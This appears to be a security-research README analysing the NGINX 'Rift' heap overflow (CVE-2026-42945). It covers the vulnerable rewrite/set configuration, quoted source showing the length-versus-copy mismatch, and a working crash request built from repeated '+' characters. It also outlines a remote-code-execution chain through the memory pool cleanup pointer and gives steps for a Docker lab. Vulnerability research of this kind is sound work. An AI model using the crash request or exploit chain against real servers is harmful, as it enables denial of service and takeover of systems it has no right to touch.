
NGINX Rift 漏洞分析与复现
CVE-2026-42945 (codename "NGINX Rift") is a heap buffer overflow vulnerability in the NGINX ngx_http_rewrite_module, with a CVSS v4 score of 9.2 (Critical).
Discovered by the depthfirst security research team in April 2026, this vulnerability has been latent for 18 years since its introduction in NGINX version 0.6.27 in 2008.
The vulnerability requires the following NGINX configuration pattern to be triggered:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
Key conditions:
rewrite directive contains ? (question mark)set directive references a regular expression capture group (e.g., $1)+, &, %, etc.)NGINX's script engine uses two-phase processing to execute rewrite/set directives:
The core of the vulnerability lies in the engine state inconsistency between the two phases:
rewrite sets the is_args flagWhen the rewrite directive's replacement string contains ?, the ngx_http_script_start_args_code function sets:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // Permanently set, never reset!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set directive uses a fresh sub-engineWhen a subsequent set directive references a capture group, ngx_http_script_complex_value_code creates a zeroed sub-engine:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
Length calculation (using sub-engine le, is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0, condition is false, goes to else branch
return cap[n + 1] - cap[n]; // Returns raw length (unescaped)
}
Actual copy (using main engine e, is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1, condition is true, goes to if branch
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// Each escapable character expands from 1 byte to 3 bytes!
}
raw_size (raw capture length)raw_size + 2 * N (N = number of escapable characters)For example, if the URI contains 100 + signs, the overflow is 200 bytes.
Simplest exploitation - sending a request containing many escapable characters causes the worker process to crash:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
Full RCE exploit chain (requires ASLR disabled or bypassed):
ngx_pool_t through connection orderingcleanup pointer: Overflow into the adjacent memory pool structuresystem() address through POST request bodyngx_destroy_pool to traverse the cleanup linked listNGINX's multi-process architecture makes exploitation more reliable - after a worker crash, the master forks a new worker with the identical memory layout.
README.md - This file, vulnerability analysis documentDockerfile - Build a vulnerable NGINX environmentnginx.conf - NGINX configuration to trigger the vulnerabilitypoc_crash.py - DoS PoC (triggers worker crash)docker-compose.yml - One-click startup of the test environment# 1. Build and start the vulnerable NGINX
docker-compose up -d
# 2. Run DoS PoC
python3 poc_crash.py
# 3. Check NGINX error log to confirm crash
docker-compose logs nginx
This material is intended for security research and educational purposes only. Do not use this information for unauthorized attacks.